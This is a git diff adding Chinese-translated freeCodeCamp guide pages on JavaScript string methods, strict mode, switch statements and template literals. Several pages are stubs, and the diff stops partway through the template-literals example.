+
+**例子**
+
+```js
+let string = "Roses are red, violets are blue."; 
+ 
+ string.includes('red'); // returns true 
+```
+
+```javascript
+let string = "Roses are red, violets are blue."; 
+ 
+ string.includes('Red'); // returns false 
+```
+
+```javascript
+let string = "Roses are red, violets are blue."; 
+ 
+ string.includes('red',12); // returns false because 'red' starts at position 9, and our search begins at position 12. 
+```
+
+```javascript
+let string = "Roses are red, violets are blue."; 
+ 
+ string.includes('blue',12); // returns true because 'blue' starts after our search begins at position 12. 
+```
+
+```javascript
+let string = "Roses are red, violets are blue."; 
+ 
+ string.includes('violets are blue'); // returns true 
+```
+
+#### 更多信息：
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/includes)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-indexof/index.md b/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-indexof/index.md
new file mode 100644
index 0000000000..058a860504
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-indexof/index.md
@@ -0,0 +1,44 @@
+---
+title: String.prototype.indexOf
+localeTitle: String.prototype.indexOf
+---
+## String.prototype.indexOf
+
+`indexOf()`方法返回可在数组中找到给定元素的第一个索引。如果该元素不存在，则返回-1。
+
+**句法**
+
+```javascript
+str.indexOf(searchValue[, fromIndex]) 
+```
+
+### 参数
+
+*   您正在查找的**searchValue**子字符串。如果这是空的（ `''` ）并且没有`fromIndex`参数，则返回0。
+    
+*   **fromIndex**可选。要开始搜索的索引。如果`fromIndex`值大于或等于字符串的长度，则不搜索该字符串，并且该方法返回-1。如果`searchValue`是一个空字符串（ `''` ）并且`fromIndex`小于字符串的长度，它将返回`fromIndex` ;否则，它将返回字符串的长度。 （负数将被视为没有参数。）
+    
+
+### 描述
+
+`indexOf()`方法从左到右检查字符串。第一个字符的索引是0;最后一个字符的索引是`string.length - 1` 。该方法使用严格相等（ `===` ）针对`searchValue`检查每个子字符串，这意味着此方法区分大小写。一旦找到返回`true`的子字符串，它就会返回其第一个字符的索引。
+
+### 例子
+
+```javascript
+'Blue Whale'.indexOf('Blue');     // returns  0 
+ 'Blue Whale'.indexOf('Blute');    // returns -1 
+ 'Blue Whale'.indexOf('Whale', 0); // returns  5 
+ 'Blue Whale'.indexOf('Whale', 5); // returns  5 
+ 'Blue Whale'.indexOf('Whale', 7); // returns -1 
+ 'Blue Whale'.indexOf('');         // returns  0 
+ 'Blue Whale'.indexOf('', 9);      // returns  9 
+ 'Blue Whale'.indexOf('', 10);     // returns 10 
+ 'Blue Whale'.indexOf('', 11);     // returns 10 
+ 'Blue Whale'.indexOf('blue');     // returns -1 
+```
+
+### 更多信息：
+
+*   MDN文档： [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/indexOf)
+*   MSDN文档： [MSDN](https://docs.microsoft.com/en-us/scripting/javascript/reference/indexof-method-string-javascript)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-lastindexof/index.md b/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-lastindexof/index.md
new file mode 100644
index 0000000000..b90ad66757
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-lastindexof/index.md
@@ -0,0 +1,11 @@
+---
+title: String.prototype.lastIndexOf
+localeTitle: String.prototype.lastIndexOf
+---
+## String.prototype.lastIndexOf
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/string/string-prototype-lastindexof/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-localecompare/index.md b/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-localecompare/index.md
new file mode 100644
index 0000000000..47c534e2bd
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-localecompare/index.md
@@ -0,0 +1,11 @@
+---
+title: String.prototype.localecompare
+localeTitle: String.prototype.localecompare
+---
+## String.prototype.localecompare
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/string/string-prototype-localecompare/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-match/index.md b/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-match/index.md
new file mode 100644
index 0000000000..f31f5382b0
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-match/index.md
@@ -0,0 +1,11 @@
+---
+title: String.prototype.match
+localeTitle: String.prototype.match
+---
+## String.prototype.match
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/string/string-prototype-match/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-normalize/index.md b/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-normalize/index.md
new file mode 100644
index 0000000000..f737fc47e5
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-normalize/index.md
@@ -0,0 +1,11 @@
+---
+title: String.prototype.normalize
+localeTitle: String.prototype.normalize
+---
+## String.prototype.normalize
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/string/string-prototype-normalize/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-padend/index.md b/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-padend/index.md
new file mode 100644
index 0000000000..4be03ec0fb
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-padend/index.md
@@ -0,0 +1,11 @@
+---
+title: String.prototype.padEnd
+localeTitle: String.prototype.padEnd
+---
+## String.prototype.padEnd
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/string/string-prototype-padend/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-padstart/index.md b/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-padstart/index.md
new file mode 100644
index 0000000000..372441d420
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-padstart/index.md
@@ -0,0 +1,11 @@
+---
+title: String.prototype.padStart
+localeTitle: String.prototype.padStart
+---
+## String.prototype.padStart
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/string/string-prototype-padstart/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-repeat/index.md b/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-repeat/index.md
new file mode 100644
index 0000000000..4f4c3f0fb4
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-repeat/index.md
@@ -0,0 +1,21 @@
+---
+title: String.prototype.repeat
+localeTitle: String.prototype.repeat
+---
+## String.prototype.repeat
+
+`.repeat(n)`方法获取整数参数，并返回重复`n`次的字符串。
+
+### 例如
+
+```js
+  let str = "test"; 
+  console.log(str.repeat(3)); // "testtesttest", test is repeated 3 times 
+ 
+  // NB 
+  console.log(str.repeat(2.5)); // "testtest", 2.5 is converted to an integer and test is repeated 2 times 
+```
+
+#### 更多信息
+
+[MDN - String.prototype.repeat（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/repeat)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-replace/index.md b/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-replace/index.md
new file mode 100644
index 0000000000..0bcb0862a0
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-replace/index.md
@@ -0,0 +1,11 @@
+---
+title: String.prototype.replace
+localeTitle: String.prototype.replace
+---
+## String.prototype.replace
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/string/string-prototype-replace/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-search/index.md b/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-search/index.md
new file mode 100644
index 0000000000..954e514105
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-search/index.md
@@ -0,0 +1,11 @@
+---
+title: String.prototype.search
+localeTitle: String.prototype.search
+---
+## String.prototype.search
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/string/string-prototype-search/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-slice/index.md b/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-slice/index.md
new file mode 100644
index 0000000000..5ef1a6336c
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-slice/index.md
@@ -0,0 +1,47 @@
+---
+title: String.prototype.slice
+localeTitle: String.prototype.slice
+---
+JavaScript字符串方法`.slice()`提取字符串的一部分并返回一个新字符串。
+
+## 句法
+```
+str.slice(beginSliceIndex [, endSliceIndex]); 
+```
+
+## 参数
+
+**beginSliceIndex**
+
+切片应该从零开始的索引。如果beginSliceIndex是负数，则`.slice()`从字符串的末尾开始向后计数，以确定从哪里开始切片。
+
+**endSliceIndex**
+
+可选的。切片应该结束的从零开始的索引。如果省略， `.slice()`提取到字符串的末尾。
+
+[MDN链接](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/slice)
+
+## 描述
+
+`.slice()`将文本切成一个字符串并返回一个新字符串。
+
+## 例子
+
+**使用`.slice()`创建一个新字符串**
+```
+var string1 = "Hello World!"; 
+ var string2 = string1.slice(3); 
+ console.log(string2);                           // Will log "lo World!" 
+ 
+ var string3 = string1.slice(3, 7); 
+ console.log(string3);                           // Will log "lo W" 
+```
+
+**使用带有负索引的`.slice()`**
+```
+var string = "Hello World!" 
+ str.slice(-3);                                  // Returns "ld!" 
+ str.slice(-3, -1);                              // Returns "ld" 
+ str.slice(0, -1);                               // Returns "Hello World" 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-split/index.md b/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-split/index.md
new file mode 100644
index 0000000000..9a6c1bb24a
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-split/index.md
@@ -0,0 +1,40 @@
+---
+title: String.prototype.split
+localeTitle: String.prototype.split
+---
+## String.prototype.split
+
+`split()`函数根据您作为输入传递的_分隔符字符串_将原始字符串分隔为子_字符串_ 。
+
+`split()`函数的输出是一个字符串`Array` ，表示原始字符串中的分隔子字符串。
+
+`split()`函数不会更改原始字符串。
+
+例子：
+
+```js
+// We have a regular string 
+ "Hello. I am a string. You can separate me." 
+ 
+ // Let's use the split function to separate the string by the period character: 
+ "Hello. I am a string. You can separate me.".split("."); 
+ // output is [ "Hello", " I am a string", " You can separate me", "" ] 
+```
+
+由于我们使用句点（ `.` ）作为_分隔符字符串_ ，因此输出数组中的字符串不包含句点;输出分隔的字符串_不包括输入分隔符字符串本身_ 。
+
+_字符串分隔符_不必是单个字符，它可以是任何其他字符串：
+
+```js
+"Hello... I am another string... keep on learning!".split("..."); 
+ // output is [ "Hello", " I am another string", " keep on learning!" ] 
+ 
+ const names = "Kratos- Atreus- Freya- Hela- Thor- Odin"; 
+ // notice separator is a dash and a space 
+ names.split("- "); 
+ // output is [ "Kratos", "Atreus", "Freya", "Hela", "Thor", "Odin" ] 
+```
+
+#### 更多信息：
+
+*   [MDN上的String.prototype.split](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/split)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-startswith/index.md b/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-startswith/index.md
new file mode 100644
index 0000000000..7ff755b03f
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-startswith/index.md
@@ -0,0 +1,11 @@
+---
+title: String.prototype.startsWith
+localeTitle: String.prototype.startsWith
+---
+## String.prototype.startsWith
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/string/string-prototype-startswith/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-substr/index.md b/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-substr/index.md
new file mode 100644
index 0000000000..e6681f74c2
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-substr/index.md
@@ -0,0 +1,33 @@
+---
+title: String.prototype.substr
+localeTitle: String.prototype.substr
+---
+## String.prototype.substr
+
+substr（）方法从指定位置的字符开始提取字符串的一部分，并返回指定数量的字符。
+
+#### 句法
+
+```JavaScript
+  string.substr(start, length); 
+```
+
+#### 参数值
+
+|参数|说明| | ：------------- | ：------------- | |开始| **需要。**开始提取的位置。第一个字符位于索引0处。 如果_start_为正且大于或等于字符串的长度，则substr（）返回一个空字符串。 如果_start_为负数，则substr（）将其用作字符串末尾的字符索引。 如果_start_为负或大于字符串的长度，则start设置为0 | |长度| **可选** 。要提取的字符数。如果省略，则提取字符串的其余部分
+
+#### 例子：
+
+```JavaScript
+let str = "Hello world!"; 
+ let res = str.substr(1, 4); 
+```
+
+res的结果将是：
+```
+ello 
+```
+
+#### 更多信息：
+
+[JavaScript String substr（）方法](https://www.w3schools.com/jsref/jsref_substr.asp) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-substring/index.md b/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-substring/index.md
new file mode 100644
index 0000000000..6d50a36ab8
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-substring/index.md
@@ -0,0 +1,30 @@
+---
+title: String.prototype.substring
+localeTitle: String.prototype.substring
+---
+## String.prototype.substring
+
+`substring()`函数从另一个给定的字符串中_提取_一系列字符。它不会改变原始字符串。
+
+您可以使用_开始和结束字符索引_定义要提取的序列。这些索引作为参数传递给`substring()`函数。子字符串由起始索引的字符一直到结束索引的字符形成。两个索引都从字符串的开头开始计算，从`0`开始计算。
+
+例子：
+
+```js
+"Hello, campers".substring(7, 14); 
+ // output is "campers" 
+ 
+ "Hello, world".substring(0, 5); 
+ // output is "Hello" 
+```
+
+您还可以省略最后一个字符索引参数，子字符串序列将从开始索引中提取，直到字符串结束。例：
+
+```js
+"Hello, campers!".substring(7); 
+ // output is "campers!" 
+```
+
+#### 更多信息：
+
+*   [MDN上的String.prototype.substring（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/substring)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-tolocalelowercase/index.md b/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-tolocalelowercase/index.md
new file mode 100644
index 0000000000..364b1ca42d
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-tolocalelowercase/index.md
@@ -0,0 +1,11 @@
+---
+title: String.prototype.toLocaleLowerCase
+localeTitle: String.prototype.toLocaleLowerCase
+---
+## String.prototype.toLocaleLowerCase
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/string/string-prototype-tolocalelowercase/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-tolocaleuppercase/index.md b/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-tolocaleuppercase/index.md
new file mode 100644
index 0000000000..ecb0fc251e
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-tolocaleuppercase/index.md
@@ -0,0 +1,11 @@
+---
+title: String.prototype.toLocaleUpperCase
+localeTitle: String.prototype.toLocaleUpperCase
+---
+## String.prototype.toLocaleUpperCase
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/string/string-prototype-tolocaleuppercase/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-tolowercase/index.md b/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-tolowercase/index.md
new file mode 100644
index 0000000000..06f1774184
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-tolowercase/index.md
@@ -0,0 +1,25 @@
+---
+title: String.prototype.toLowerCase
+localeTitle: String.prototype.toLowerCase
+---
+JavaScript数组方法`.toLowerCase()`将返回转换为小写的字符串的值。原始字符串不会更改。
+
+**句法**
+
+```javascript
+  string.toLowerCase() 
+```
+
+## 例子
+
+```javascript
+  var shout = "I AM SHOUTING VERY LOUDLY" 
+  var whisper = shout.toLowerCase() 
+ 
+  console.log(shout) // will return "I AM SHOUTING VERY LOUDLY" 
+  console.log(whisper) // will return "i am shouting very loudly" 
+```
+
+#### 更多信息：
+
+资料来源： [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/toLowerCase)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-tostring/index.md b/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-tostring/index.md
new file mode 100644
index 0000000000..9e46ec9cd2
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-tostring/index.md
@@ -0,0 +1,11 @@
+---
+title: String.prototype.toString
+localeTitle: String.prototype.toString
+---
+## String.prototype.toString
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/string/string-prototype-tostring/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-touppercase/index.md b/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-touppercase/index.md
new file mode 100644
index 0000000000..f956c5d98a
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-touppercase/index.md
@@ -0,0 +1,17 @@
+---
+title: String.prototype.toUpperCase
+localeTitle: String.prototype.toUpperCase
+---
+JavaScript方法`.toUpperCase()`返回调用它的相同字符串，但全部大写。
+
+**句法**
+```
+str.toUpperCase() 
+```
+
+## 例子
+```
+console.log("hello world".toUpperCase()); // Console will output "HELLO WORLD" 
+```
+
+来源[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/toUpperCase)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-trim/index.md b/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-trim/index.md
new file mode 100644
index 0000000000..4a40b24f7c
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-trim/index.md
@@ -0,0 +1,22 @@
+---
+title: String.prototype.trim
+localeTitle: String.prototype.trim
+---
+## String.prototype.trim
+
+`trim()`函数从给定字符串的开头和结尾删除任何空格字符。它不会修改原始字符串;它输出一个新的。
+
+例子：
+
+```js
+"  Hello, campers. I have spaces on both ends!  ".trim(); 
+ // output is "Hello, campers. I have spaces on both ends!" 
+```
+
+`trim()`不仅删除空格字符;它会删除任何空白字符，例如制表符，换行符，不间断空格等。
+
+这很有用，例如，当您想要处理来自用户的文本输入时，他们可能已经提交了一个字符串，其中包含您可能不想要的末尾空格。
+
+#### 更多信息：
+
+*   [MDN上的String.prototype.trim（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/Trim)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-trimleft/index.md b/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-trimleft/index.md
new file mode 100644
index 0000000000..7651cc1d50
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-trimleft/index.md
@@ -0,0 +1,11 @@
+---
+title: String.prototype.trimLeft
+localeTitle: String.prototype.trimLeft
+---
+## String.prototype.trimLeft
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/string/string-prototype-trimleft/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-trimright/index.md b/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-trimright/index.md
new file mode 100644
index 0000000000..596f5bc263
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-trimright/index.md
@@ -0,0 +1,11 @@
+---
+title: String.prototype.trimright
+localeTitle: String.prototype.trimright
+---
+## String.prototype.trimright
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/string/string-prototype-trimright/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-valueof/index.md b/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-valueof/index.md
new file mode 100644
index 0000000000..83e38acb4c
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/string/string-prototype-valueof/index.md
@@ -0,0 +1,11 @@
+---
+title: String.prototype.valueOf
+localeTitle: String.prototype.valueOf
+---
+## String.prototype.valueOf
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/string/string-prototype-valueof/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/string/string-raw/index.md b/client/src/guide/chinese/javascript/standard-objects/string/string-raw/index.md
new file mode 100644
index 0000000000..deffe4b9b1
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/string/string-raw/index.md
@@ -0,0 +1,11 @@
+---
+title: String Raw
+localeTitle: String Raw
+---
+## String Raw
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/string/string-raw/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/strict-mode/index.md b/client/src/guide/chinese/javascript/strict-mode/index.md
new file mode 100644
index 0000000000..0bf3aae289
--- /dev/null
+++ b/client/src/guide/chinese/javascript/strict-mode/index.md
@@ -0,0 +1,56 @@
+---
+title: Strict Mode
+localeTitle: 严格的模式
+---
+ECMAScript 5中引入了严格模式，允许您在“严格”的操作环境中放置程序或函数。这种严格的上下文阻止了某些操作被采取并引发更多异常。
+
+严格模式对常规JavaScript语义进行了一些更改。
+
+*   首先，严格模式通过更改它们以抛出错误来消除一些JavaScript无声错误。
+*   其次，严格模式修复了使JavaScript引擎难以执行优化的错误：严格模式代码有时可以比非严格模式的相同代码运行得更快。
+*   第三，严格模式禁止在ECMAScript的未来版本中可能定义的某些语法。
+
+严格模式代码和非严格模式代码可以在同一个脚本中共存。
+
+```javascript
+// Non-strict code... 
+ 
+ (function(){ 
+    "use strict"; 
+ 
+    // Define your library strictly... 
+ })(); 
+ 
+ // Non-strict code... 
+```
+
+## 调用严格模式
+
+严格模式适用于_整个脚本_或_单个功能_ 。
+
+**脚本的严格模式**
+
+```javascript
+// Whole-script strict mode syntax 
+ 
+ "use strict"; 
+ var v = "Hi!  I'm a strict mode script!"; 
+```
+
+**严格的功能模式**
+
+```javascript
+function strict(){ 
+    // Function-level strict mode syntax 
+ 
+    'use strict'; 
+    function nested() { return "And so am I!"; } 
+    return "Hi!  I'm a strict mode function!  " + nested(); 
+ } 
+ 
+ function notStrict() { return "I'm not strict."; } 
+```
+
+**基本上它可以通过检测可能导致破损的事情（通常是非严格模式）来帮助您减少错误。**
+
+_有关更多信息，请查看此[MDN页面](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Strict_mode) 。_
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/switch-statements/index.md b/client/src/guide/chinese/javascript/switch-statements/index.md
new file mode 100644
index 0000000000..1071b0e1de
--- /dev/null
+++ b/client/src/guide/chinese/javascript/switch-statements/index.md
@@ -0,0 +1,99 @@
+---
+title: Switch Statements
+localeTitle: 切换语句
+---
+## 切换语句
+
+编程中的`switch`语句类似于`if-else`语句，但在有很多条件时有时更容易阅读。此外，它还允许添加一个`default`块，如果没有其他条件为真，将执行该块。
+
+### 句法：
+
+```javascript
+switch(expression) { 
+  case 1: 
+    console.log('1'); 
+    break; 
+   case 2: 
+     console.log('2'); 
+     break; 
+   default: 
+     console.log('No true condition, default'); 
+ } 
+```
+
+上面的代码段显示了基本`switch`语句的语法。在此示例中，有3种不同的方案：
+
+*   `expression = 1` ：第一个条件为true， `1`将打印到控制台。
+*   `expression = 2` ：第二个条件为true，并且`2`被打印到控制台。
+*   `expression = 'anything else'` ：案例1和案例2均为假，因此执行默认条件。
+
+`default`条件是在没有其他情况为真的情况下将执行的条件。
+
+注意：这里要注意的一个非常重要的一点是，在上面的代码片段中， `case 1:`和`case 2:`似乎代表某种顺序，但是`1`和`2`只是`(expression)`可能被评估为的答案。因此，代替1和2，它可以是`(expression)`可以评估并且可以进行测试的任何事物。
+
+例如：
+
+```javascript
+var someValue; 
+ var expression = someValue; 
+ switch(expression){ 
+  case someValue: 
+    console.log('10'); // 10 would be printed to the console 
+    break; 
+  case 23: 
+    console.log('12'); 
+    break; 
+  default: 
+    console.log('No matches'); 
+ } 
+```
+
+注意：上面代码段中的`expression`可以是字符串或数字。
+
+### 打破
+
+在每种情况下都需要`break`关键字，以确保只执行该案例中的代码。没有休息，可以执行多个案例。当JavaScript到达`break`关键字时，它会突破switch块。如果`break`了上面的例子，那就会发生这种情况：
+
+```javascript
+var expression = 1; 
+ switch(expression) { 
+  case 1: 
+    console.log('1');  // 1 would be printed to console 
+  case 2: // As there is no break after case 1, this case is also executed. 
+    console.log('2'); // 2 would be printed to the console. 
+    break; // break -> Switch statement is exited 
+  default: 
+    console.log('No true condition, default'); 
+ } 
+```
+
+### 执行多个案例：
+
+`switch`语句还允许多个case执行相同的代码块。这可以通过在代码块之前添加一个或多个`case :`关键字来完成。
+
+例如：
+
+```javascript
+switch (day) { 
+  case 4: 
+  case 5: 
+    console.log('it is nearly the weekend'); 
+    break; 
+  case 0: 
+  case 6: 
+    console.log('it is the weekend'); 
+    break; 
+  default: 
+    console.log('Looking forward to the Weekend'); 
+ } 
+```
+
+在上面的片段中：
+
+*   如果`day`是`4`或`5` （星期四或星期五）， `it is nearly the weekend`在第一个案例被执行时， `it is nearly the weekend`将被打印到控制台。
+*   如果`day`是`0`或`6` ，（星期六或星期日）， `it is the weekend`将被打印到控制台，因为第二个案例被执行。
+*   如果`day`是任何其他值，则在执行默认情况时， `Looking forward to the Weekend`将打印到控制台。
+
+### 更多信息：
+
+[用于交换机的MDN文档](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/switch)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/template-literals/index.md b/client/src/guide/chinese/javascript/template-literals/index.md
new file mode 100644
index 0000000000..27035ae0e8
--- /dev/null
+++ b/client/src/guide/chinese/javascript/template-literals/index.md
@@ -0,0 +1,29 @@
+---
+title: Template Literals
+localeTitle: 模板文字
+---
+模板文字是一个ES6功能，利用反引号字符来定义字符串值
+
+### 基本语法
+
+以下是模板文字的基本示例：
+
+```javascript
+// ES5 syntax 
+ var es5String = "ES5 String" 
